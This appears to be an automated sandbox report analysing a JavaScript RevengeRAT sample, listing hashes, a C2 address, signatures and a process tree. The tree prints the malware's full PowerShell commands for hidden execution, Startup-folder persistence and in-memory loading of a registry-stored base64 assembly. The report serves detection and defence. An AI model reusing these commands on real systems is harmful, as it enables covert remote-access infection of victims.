Analysis
- max time kernel
92s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
16/09/2024, 01:07
Static task
static1
Behavioral task
behavioral1
Sample
6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
Resource
win7-20240903-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
Resource
win10v2004-20240802-en
11 signatures
150 seconds
General
- Target 6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
- Size 119KB
- Sample240916-bg4cda1end
- SHA256 6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22
- MD5 5f05f5c7e4e19da45e124065d6f5fd1e
- SHA1 12be89e5beb8ad794235f16bf29dc36a56d012af
- SHA512 2776bd209d50a93a17077c958f31378c1972b054e6aa42a398fc1a9a1f5c69bd8b79d04fd46a07b1b65996c2b6bf6c3032c95e09009655532e62e6540403d5a6
- SSDEEP 1536:0+fUYZPT8sYJHkWF5qBKoy1XtczvzYFNW+Nn:nfLasWHtuY1XtcbsFNW+Nn
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
revengerat
Botnet
-
NyanCatRevenge
C2
-
18.231.150.177:5222
Mutex
-
282ac7d305
Signatures
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
flow pid Process 14 4572 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4572 powershell.exe 468 powershell.exe 1432 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation wscript.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString powershell.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 468 powershell.exe 468 powershell.exe 1432 powershell.exe 4572 powershell.exe 1432 powershell.exe 4572 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 468 powershell.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeDebugPrivilege 4572 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1732 wrote to memory of 468 1732 wscript.exe 82 PID 1732 wrote to memory of 468 1732 wscript.exe 82 PID 468 wrote to memory of 4888 468 powershell.exe 84 PID 468 wrote to memory of 4888 468 powershell.exe 84 PID 4888 wrote to memory of 1432 4888 wscript.exe 85 PID 4888 wrote to memory of 1432 4888 wscript.exe 85 PID 4888 wrote to memory of 4572 4888 wscript.exe 87 PID 4888 wrote to memory of 4572 4888 wscript.exe 87
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'));wscript 'C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:468 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'))"4⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1432
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mastercoca').mastercoca;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4572
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
- MD5 a26df49623eff12a70a93f649776dab7
- SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
- SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
- SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_terwidh0.a5p.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
- Size 59KB
- SHA256 fa317dc427e8220fb94c7cad40a0f513462d46851477b4c1cdef7bc49eb9a7e2
- MD5 e9dd8e7412f2f40bf00bbb0e40055a40
- SHA1 718625814199c7b89012f21564c46298c72ba698
- SHA512 c0501746cd0bd537dc7ae13b8e34c543c84eeb84b34ae6f4c49f8b4d395becd4595e0dad95c0f24631cb8a29232d0f1a4047ede54a49b5213ecaba4d6224728e
- SSDEEP 768:m0yr7NL/nWJNpxMMu6Eu808WfLhvZ5putwYFliYW/EJAoUDXuU:IWVxMMZEx58hTkKYF2/3oIeU
- MD5 SHA1 SHA512 SSDEEP